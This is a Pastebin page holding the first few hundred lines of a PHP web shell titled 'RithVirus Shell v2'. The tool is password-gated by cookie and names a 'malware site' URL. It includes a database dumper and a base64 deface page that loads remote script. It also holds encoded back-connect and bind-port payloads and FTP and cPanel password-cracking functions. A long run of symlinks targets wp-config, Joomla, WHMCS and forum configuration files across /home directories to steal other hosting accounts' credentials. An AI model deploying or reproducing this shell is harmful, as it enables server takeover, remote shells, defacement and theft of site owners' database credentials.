RithVirus

RithVirus Shell

May 27th, 2016
297
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 261.33 KB | None | 0 0
  1. <?php
  2. $pass    = "rithvirus";
  3. $malsite = "http://fightagent.ru"; // Malware Site
  4. $deface  = "PGh0bWw+CjxsaW5rIGhyZWY9Imh0dHBzOi8vMi5icC5ibG9nc3BvdC5jb20vLVlCR3U2UGxjdk5jL1RjblhrU05QRVhJL0FBQUFBQUFBQTBnL0VERVVFbFFtRms0L3MxNjAwL0FuaW1hdGVkK0ZsYWcrb2YrTWFsYXlzaWErJTI1Mjg0JTI1MjkuZ2lmIiByZWw9Imljb24iIHR5cGU9ImltYWdlL3BuZyI+CjxtZXRhIG5hbWU9IkdFTkVSQVRPUiIgY29udGVudD0iTWljcm9zb2Z0IEZyb250UGFnZSA1LjAiPgo8bWV0YSBuYW1lPSJQcm9nSWQiIGNvbnRlbnQ9IkZyb250UGFnZS5FZGl0b3IuRG9jdW1lbnQiPgo8bWV0YSBjb250ZW50PSJIYWNrZWQgQnkgTWFsYXlzaWFHT1YiIG5hbWU9ImRlc2NyaXB0aW9uIj4KPG1ldGEgY29udGVudD0iSGFja2VkIEJ5IE1hbGF5c2lhR09WIiBuYW1lPSJrZXl3b3JkcyI+CjxtZXRhIGNvbnRlbnQ9IkhhY2tlZCBCeSBNYWxheXNpYUdPViIgbmFtZT0iQWJzdHJhY3QiPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTIiPgo8dGl0bGU+SGFja2VkIGJ5IE1hbGF5c2lhR09WPC90aXRsZT4KPFNjcmlwdCBMYW5ndWFnZT0nSmF2YXNjcmlwdCcgc3JjPSJodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvVEJjNURGaEoiPjwvU2NyaXB0Pgo8bm9zY3JpcHQ+PGk+NDA0IEphdmFzY3JpcHQgTm90IEZvdW5kPC9pPjwvbm9zY3JpcHQ+CjwvaHRtbD4="; // Base64 encoded "You Just Got Hacked !!"
  5. @set_magic_quotes_runtime(0);
  6. ob_start();
  7. error_reporting(0);
  8. @set_time_limit(0);
  9. @ini_set('max_execution_time', 0);
  10. @ini_set('output_buffering', 0);
  11. if (isset($_COOKIE['hacked']) && $_COOKIE['hacked'] == md5($pass)) {
  12.     if ($_GET["action"] == "dumpDB") {
  13.         $self = $_SERVER["PHP_SELF"];
  14.         if (isset($_COOKIE['dbserver'])) {
  15.             $date        = date("Y-m-d");
  16.             $dbserver    = $_COOKIE["dbserver"];
  17.             $dbuser      = $_COOKIE["dbuser"];
  18.             $dbpass      = $_COOKIE["dbpass"];
  19.             $dbname      = $_GET['dbname'];
  20.             $mysqlHandle = mysql_connect($dbserver, $dbuser, $dbpass);
  21.             $file        = "Dump-$dbname-$date";
  22.             $file        = "Dump-$dbname-$date.sql";
  23.             $fp          = fopen($file, "w");
  24.             function write($data)
  25.             {
  26.                 global $fp;
  27.                 fwrite($fp, $data);
  28.             }
  29.             mysql_connect($dbserver, $dbuser, $dbpass);
  30.             mysql_select_db($dbname);
  31.             $tables = mysql_query("SHOW TABLES");
  32.             while ($i = mysql_fetch_array($tables)) {
  33.                 $i      = $i['Tables_in_' . $dbname];
  34.                 $create = mysql_fetch_array(mysql_query("SHOW CREATE TABLE " . $i));
  35.                 write($create['Create Table'] . ";\n\n");
  36.                 $sql = mysql_query("SELECT * FROM " . $i);
  37.                 if (mysql_num_rows($sql)) {
  38.                     while ($row = mysql_fetch_row($sql)) {
  39.                         foreach ($row as $j => $k) {
  40.                             $row[$j] = "'" . mysql_escape_string($k) . "'";
  41.                         }
  42.                         write("INSERT INTO $i VALUES(" . implode(",", $row) . ");");
  43.                     }
  44.                 }
  45.             }
  46.             fclose($fp);
  47.             header("Content-Disposition: attachment; filename=" . $file);
  48.             header("Content-Type: application/download");
  49.             header("Content-Length: " . filesize($file));
  50.             flush();
  51.             $fp = fopen($file, "r");
  52.             while (!feof($fp)) {
  53.                 echo fread($fp, 65536);
  54.                 flush();
  55.             }
  56.             fclose($fp);
  57.         }
  58.     }
  59. ?>
  60. <style type="text/css">
  61. <!--
  62. span.headtitle
  63. {
  64.         color:#00ff00;
  65.         font-family: Iceland;
  66.         text-decoration:none;
  67. }
  68. body, th{
  69.         color:#00ff00;
  70.         background-color:#000000;
  71.         font-family: Iceland;
  72.         font-size: 13px;
  73. }
  74. table.tbl
  75. {
  76. border:#00ff00;
  77. }
  78. table.pwdtbl
  79. {
  80.         width:100%;
  81.         background-color:#000000;
  82.         border-color:#00ff00;
  83.         border-style:inset;
  84. }
  85. tr.file:hover
  86. {
  87.         background-color:#5e5e5e;
  88. }
  89. tr.file
  90. {
  91.         background-color:#000000;
  92.         height:12px;
  93.         font-size: 14px;
  94. }
  95. td.myfun
  96. {
  97.   border-style:none;
  98.   margin: 5px;
  99. }
  100. td.myfun:hover
  101. {
  102.   box-shadow: 0px 0px 2px #FF0;
  103. }
  104. input.but {
  105.     margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 11pt Iceland;
  106. }
  107. a:link {
  108.         color: #00ff00;
  109.         text-decoration:none;
  110.         font-family: Iceland;
  111.         font-weight:600;
  112. }
  113. a:visited
  114. {
  115.         color:#00ff00;
  116. }
  117. a:hover {
  118.         color:#ff0000;
  119. }
  120. font.mainmenu
  121. {
  122.         font-family:Iceland;
  123.         font-size:14px;
  124. }
  125. font.txt
  126. {
  127.         color: #FFFFFF;
  128.         font-family:Iceland;
  129.         text-decoration:none;
  130.         font-size:13px;
  131. }
  132. font.fun
  133. {      
  134.         font-family: Iceland;
  135.         color:#00ff00;
  136. }
  137. font.wrtperm
  138. {
  139.         font-family: Iceland;
  140.         color:#00ff00;
  141. }
  142. font.readperm
  143. {
  144.         font-family: Iceland;
  145.         color:#FF0000;
  146. }
  147. font.noperm
  148. {
  149.         font-family: Iceland;
  150.         color:#FFFFFF;
  151. }
  152. input.upld
  153. {
  154.     width:400;
  155.         margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 11pt Iceland;
  156. }
  157. input.box
  158. {
  159.     width:400;
  160.         margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 11pt Iceland;
  161. }
  162. input.sbox
  163. {
  164.     width:180;
  165.         margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 11pt Iceland;
  166. }
  167. select.sbox
  168. {
  169.     width:180;
  170.         margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 11pt Iceland;
  171. }
  172. select.box
  173. {
  174.     width:400;
  175.         margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 11pt Iceland;
  176. }
  177. textarea.box
  178. {
  179.   margin:0;color:#00ff00;background-color:#000;border:1px solid #00ff00; font: 11pt Iceland;
  180. }
  181. .myphp table
  182. {
  183.         width:100%;
  184.         padding:18px 10px;
  185.         border : 1px solid #00FF00;
  186. }
  187. .myphp td
  188. {
  189.         background:#111111;
  190.         color:#00ff00;
  191.         padding:6px 8px;
  192.         border-bottom:1px solid #222222;
  193.         font-size:14px;
  194. }
  195. .myphp th,
  196. {
  197.         background:#181818;
  198. }
  199. -->
  200. </style>
  201. <?php
  202.     $back_connect_p   = "eNqlU01PwzAMvVfqfwjlkkpd94HEAZTDGENCCJC2cRrT1DUZCWvjqk5A/fcs3Rgg1gk0XxLnPT/bsnN60rZYthdKt4vKSNC+53sqL6A0BCuMCEK6EiYi4O52UZSQCkTHkoCGMMeKk/Llbdqd+V4dx4jShu7ee7PQ0TdCMQrDxTKxmTEqF2ANPe/U+LtUmSDdC98ja0NYOe1tTH3Qrde/md8+DCfR1h0/Du7m48lo2L8Pd7FxClqL1FDqqoxcWeE3FIXmNGBH2LMOfum1mu1aJtqibCY4vcs/Cg6AC06uKtIvX63+j+CxHe+pkLFxhUbkSi+BsU3eDQsw5rboUcdermergYZR5xDYPQT2DoFnn8OQIsvc4uw2NU6TLKPTwOokF0EUtJJgFu5r4wlFSRT/2UOznuJfOo2k+l+hdGnVmv4Bmanx6Q==";
  203.     $backconnect_perl = "eNqlUl9rwjAQfxf8Drcqa4UWt1dLZU7rJmN2tNWXTUps45qtJiVNGf32S9pOcSAI3kNI7vcnd9z1boZlwYdbQoc55llZYFh4o1HA4m8s7G6n2+kXVSHwHmQ4oNfMLSpSXYL9if80dR7kuZYvpW110LzmJMPPiCYZVplup6hRI/CmL25owts8WizVRSWiIPTdyasJn1jknAm2rSjaY0MXca4PBtI/ZpTi+ChXbihJeESooSpZv99vTCAUiwgJ9pe72wykuv6+EVpjVAq2k62mRg2wHFMjCGeLpQna+LZhaSeQtwrNM5Dr+/+hnBMqQHOuiA+q2Qcj63zMUkRlI+cJlxhNWYITeKxgwr9KeonRda01Vs1aGRqOUwaW5ThBnSB0xxzHsmwo1fzBQjYoin3grQrMjyyS2KfwjHC5JYxXDZ7/tAQ4fpTiLFMoqHm1dbRrrhat53rzX0SL2FA=";
  204.     $zone             = "vVRtb9owEP6OxH+4ZhFKWkJg6roqEFS0VStaX1ChmybKB8c5wGpiZ7ZZS6vut8+Gjm5V1r18mPLBuedenrvznV9shQslw4TxsECZVSvVCpt6Wwe983cfxq2Jf1etFJJxDc6lNh+/5E77JyhHUFTq5e6c0CsYH0xgSeZCwDgVegJU5FDidCSuYSTgQmEElhZuBcdGkUFnyDRCxpTuQudCwlucEooSTkmO3e+B8IZpc9xXKy6RnyGGdbbNiQHdmVwUYoO1LEbnIi9grTGiKJB7pO50rLfjG+RAWdYYOqRrzTOh0CNW4SYGVZRkRHorIwtOhfRcEjfbLunEbmKOnR2/Wrl7oLFmY5dYYtPJjQjxVwg/iQVQwkGhLZJfKUjQhEOQWGRLH+5ALRKl5aNbHZp1eO1D7DhtuN80cbwzgYFQ2mTGU/ZIum7QQiH0z6JoKOgV6ijqnx6ObDXKyKagp6qgy/HaGyDKXppKiLvgPJ+oUwdrPRBSW+t9k+JACi1WrpoWjg9CAscbvbn2NbczOBuOIORCs+kyzIlS8BumpwF6lGKhI9gOty/lj3P1oD/HKUqU0b/FDY4Jny3IzI6lDhJZSvFGcI1cB6NlYexIUWSMEs0ED2+Cv2Q1oThS6xvBe8Qi6GXsC5ayml2RQW9miCM4Ebcsy0i422iCZ1asMPRJhm04GfYPYa/RbMNHxlNxreB0BK8aLb805JEZoD9plJshn+l5vD48J10vZbzeqFoqcsJ4K34+0GZEa/ahyEWKcWu/JpEoweO9mpn7nOl4iDxd5er/quvHqyQieEiqtLCBJLOcRMBFQAmdlze0FPwfpW2emBWnLVRl5u69l/b3/hs=";
  205.     $bind_port_c      = "bZJRT9swEIDfK/U/eEVa7WJK0mkPrMukaoCEpnUT8DKVKjK2Q05LbMt2KGzw3+ekKQ0Zfkn83efL3TkHoHhRCYk+Oy9AT/Mvw8FBh1lQdz1YKQhuDyrpxe1/p0UBWwjKo5KBwvULs3ecIp4ziyaTsLkn6O9wgMKqo45yCvPtvnHM6kO0bkEoqOLB0fw3E8KmoJBtQ4LJUisc04jsZJQ0pvR4cZ5eLM+u6dWPr9/Sq+vLs8X3vQcZfucIstJXVqGjuMV26kClGSuheAyZ2hSvgkZbH0K518ph5jXgup1VvCbklVfXOnXNo9ULfLFcnJ5epovlr517C0pgRxHudYkm5L2lKHqIX0ouwhVIVcsfd2iTQyFx/DLLZn4J41waH8Ro328zrcrMMH+TxW+wWZdtLHgZ4Ognc26jrfg0oiddwUomQtxQB3+kzrAh3WimLYYkmkP9exWhC0PmcHhI9kZ7KQibFaxRkqDxjRoT11ptUJTaQ3pl6bYUQj8adb0LWTJWXZntDszU1pM4T9VK4xzDYEo+Ow2UcuxwdwahbOy+0C63v0PNw8PwP";
  206.     $bind_port_p      = "bZFvS8NADMZft9DvkNUxW6hsw5f+wbJVHc5WelUQldK1mTucd6W94cTtu3tpN1DxXS753ZMnyUGnv6qr/oyLfonV0jK77DqYTs/sJlUv4IjbJ5bJ5+Bc+PHVA5zC0IUvwDVXztA9ga1lrmoEJvM3VJqsm8BhXu/uMp2EQeL1WDS6SVkSB/6t94qqrKSSs0+RvaNzqPLy0HVhs4GCI9ijTCjIK8wUQqv0LKh/jYqesiRlFk1T0tTaLErj4J4F/ngce9qOZWrbhWaIzoqiSrlwumT8afDiTULiUj98/NtSliiglNWu3ZLXCoWWOf7DtYUf5MeCL9GhlVimkeU5aoejKAw9RmYMPnc6TrfkxdlcVm9uixl7PSEVUN4G2m+nwDkXWADxzW+jscWS8ST07NMe6dq/8tF94tnn/xSCOP5dwDXm0N52P1FZcT0RIbvhiFnpxbdYO59h5Eup70vYTogrGFCoL7/9Bg==";
  207. ?>
  208. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  209. <title>RithVirus Shell v2</title>
  210. <link href='https://fonts.googleapis.com/css?family=Iceland' rel='stylesheet' type='text/css'>
  211. <script type="text/javascript">
  212. checked = false;
  213. function checkedAll ()
  214. {
  215.     if (checked == false){checked = true}else{checked = false}
  216.         for (var i = 0; i < document.getElementById('myform').elements.length; i++)
  217.         {
  218.           document.getElementById('myform').elements[i].checked = checked;
  219.         }
  220. }
  221. </script>
  222. <body>
  223. <?php
  224.     $self = $_SERVER["PHP_SELF"];
  225.     $os   = "N/D";
  226.     if (stristr(php_uname(), "Windows")) {
  227.         $SEPARATOR         = '\\';
  228.         $os                = "Windows";
  229.         $directorysperator = "\\";
  230.     } else if (stristr(php_uname(), "Linux")) {
  231.         $os                = "Linux";
  232.         $directorysperator = '/';
  233.     }
  234.     function Trail($d, $directsperator)
  235.     {
  236.         $d = explode($directsperator, $d);
  237.         array_pop($d);
  238.         array_pop($d);
  239.         $str = implode($d, $directsperator);
  240.         return $str;
  241.     }
  242.     function ftp_check($host, $user, $pass, $timeout)
  243.     {
  244.         $ch = curl_init();
  245.         curl_setopt($ch, CURLOPT_URL, "ftp://$host");
  246.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  247.         curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  248.         curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  249.         curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  250.         curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  251.         curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  252.         $data = curl_exec($ch);
  253.         if (curl_errno($ch) == 28) {
  254.             print "<b><font face=\"Verdana\" style=\"font-size: 11pt\">
  255.         <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout
  256.         Please Check The Target Hostname .</font></font></b></p>";
  257.             exit;
  258.         } else if (curl_errno($ch) == 0) {
  259.             print "<b><font face=\"Tahoma\" style=\"font-size: 11pt\" color=\"#008000\">[~]</font></b><font face=\"Tahoma\"   style=\"font-size: 11pt\"><b><font color=\"#008000\">
  260.         Cracking Success With Username &quot;</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
  261.         and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>";
  262.         }
  263.         curl_close($ch);
  264.     }
  265.     function cpanel_check($host, $user, $pass, $timeout)
  266.     {
  267.         global $cpanel_port;
  268.         $ch = curl_init();
  269.         //echo "http://$host:".$cpanel_port."<br>";
  270.         curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port);
  271.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  272.         curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  273.         curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
  274.         curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  275.         curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  276.         $data = curl_exec($ch);
  277.         if (curl_errno($ch) == 28) {
  278.             print "<b><font face=\"Verdana\" style=\"font-size: 11pt\">
  279.          <font color=\"#AA0000\">Error :</font> <font color=\"#008000\">Connection Timeout
  280.          Please Check The Target Hostname .</font></font></b></p>";
  281.             exit;
  282.         } else if (curl_errno($ch) == 0) {
  283.             print "<b><font face=\"Tahoma\" style=\"font-size: 11pt\" color=\"#008000\">[~]</font></b><font face=\"Tahoma\"   style=\"font-size: 11pt\"><b><font color=\"#008000\">
  284.         Cracking Success With Username &quot;</font><font color=\"#FF0000\">$user</font><font color=\"#008000\">\"
  285.        and Password \"</font><font color=\"#FF0000\">$pass</font><font color=\"#008000\">\"</font></b><br><br>";
  286.         }
  287.         curl_close($ch);
  288.     }
  289.     function syml($usern, $pdomain)
  290.     {
  291.         symlink('/home/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
  292.         symlink('/home/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
  293.         symlink('/home/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
  294.         symlink('/home/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
  295.         symlink('/home/' . $usern . '/public_html/inc/config.php', $pdomain . '~~mybb.txt');
  296.         symlink('/home/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
  297.         symlink('/home/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
  298.         symlink('/home/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
  299.         symlink('/home/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
  300.         symlink('/home/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
  301.         symlink('/home/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
  302.         symlink('/home/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
  303.         symlink('/home/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
  304.         symlink('/home/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
  305.         symlink('/home/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
  306.         symlink('/home/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
  307.         symlink('/home/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
  308.         symlink('/home/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
  309.         symlink('/home/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
  310.         symlink('/home/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
  311.         symlink('/home/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
  312.         symlink('/home/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
  313.         symlink('/home/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
  314.         symlink('/home/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
  315.         symlink('/home/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
  316.         symlink('/home/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
  317.         symlink('/home/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
  318.         symlink('/home/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
  319.         symlink('/home/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
  320.         symlink('/home/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
  321.         symlink('/home/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
  322.         symlink('/home2/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
  323.         symlink('/home2/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
  324.         symlink('/home2/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
  325.         symlink('/home2/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
  326.         symlink('/home2/' . $usern . '/public_html/inc/config.php', $pdomain . '~~mybb.txt');
  327.         symlink('/home2/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
  328.         symlink('/home2/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
  329.         symlink('/home2/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
  330.         symlink('/home2/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
  331.         symlink('/home2/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
  332.         symlink('/home2/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
  333.         symlink('/home2/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
  334.         symlink('/home2/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
  335.         symlink('/home2/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
  336.         symlink('/home2/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
  337.         symlink('/home2/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
  338.         symlink('/home2/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
  339.         symlink('/home2/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
  340.         symlink('/home2/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
  341.         symlink('/home2/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
  342.         symlink('/home2/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
  343.         symlink('/home2/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
  344.         symlink('/home2/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
  345.         symlink('/home2/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
  346.         symlink('/home2/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
  347.         symlink('/home2/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
  348.         symlink('/home2/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
  349.         symlink('/home2/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
  350.         symlink('/home2/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
  351.         symlink('/home2/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
  352.         symlink('/home2/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
  353.         symlink('/home3/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
  354.         symlink('/home3/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
  355.         symlink('/home3/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
  356.         symlink('/home3/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
  357.         symlink('/home3/' . $usern . '/public_html/inc/config.php', $pdomain . '~~mybb.txt');
  358.         symlink('/home3/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
  359.         symlink('/home3/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
  360.         symlink('/home3/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
  361.         symlink('/home3/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
  362.         symlink('/home3/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
  363.         symlink('/home3/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
  364.         symlink('/home3/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
  365.         symlink('/home3/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
  366.         symlink('/home3/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
  367.         symlink('/home3/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
  368.         symlink('/home3/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
  369.         symlink('/home3/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
  370.         symlink('/home3/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
  371.         symlink('/home3/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
  372.         symlink('/home3/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
  373.         symlink('/home3/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
  374.         symlink('/home3/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
  375.         symlink('/home3/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
  376.         symlink('/home3/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
  377.         symlink('/home3/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
  378.         symlink('/home3/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
  379.         symlink('/home3/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
  380.         symlink('/home3/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
  381.         symlink('/home3/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
  382.         symlink('/home3/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
  383.         symlink('/home3/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
  384.         symlink('/home4/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
  385.         symlink('/home4/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
  386.         symlink('/home4/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
  387.         symlink('/home4/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
  388.         symlink('/home4/' . $usern . '/public_html/inc/config.php', $pdomain . '~~mybb.txt');
  389.         symlink('/home4/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
  390.         symlink('/home4/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
  391.         symlink('/home4/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
  392.         symlink('/home4/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
  393.         symlink('/home4/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
  394.         symlink('/home4/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
  395.         symlink('/home4/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
  396.         symlink('/home4/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
  397.         symlink('/home4/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
  398.         symlink('/home4/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
  399.         symlink('/home4/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
  400.         symlink('/home4/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
  401.         symlink('/home4/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
  402.         symlink('/home4/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
  403.         symlink('/home4/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
  404.         symlink('/home4/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
  405.         symlink('/home4/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
  406.         symlink('/home4/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
  407.         symlink('/home4/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
  408.         symlink('/home4/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
  409.         symlink('/home4/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
  410.         symlink('/home4/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
  411.         symlink('/home4/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
  412.         symlink('/home4/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
  413.         symlink('/home4/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
  414.         symlink('/home4/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
  415.         symlink('/home5/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
  416.         symlink('/home5/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
  417.         symlink('/home5/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
  418.         symlink('/home5/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
  419.         symlink('/home5/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
  420.         symlink('/home5/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
  421.         symlink('/home5/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
  422.         symlink('/home5/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
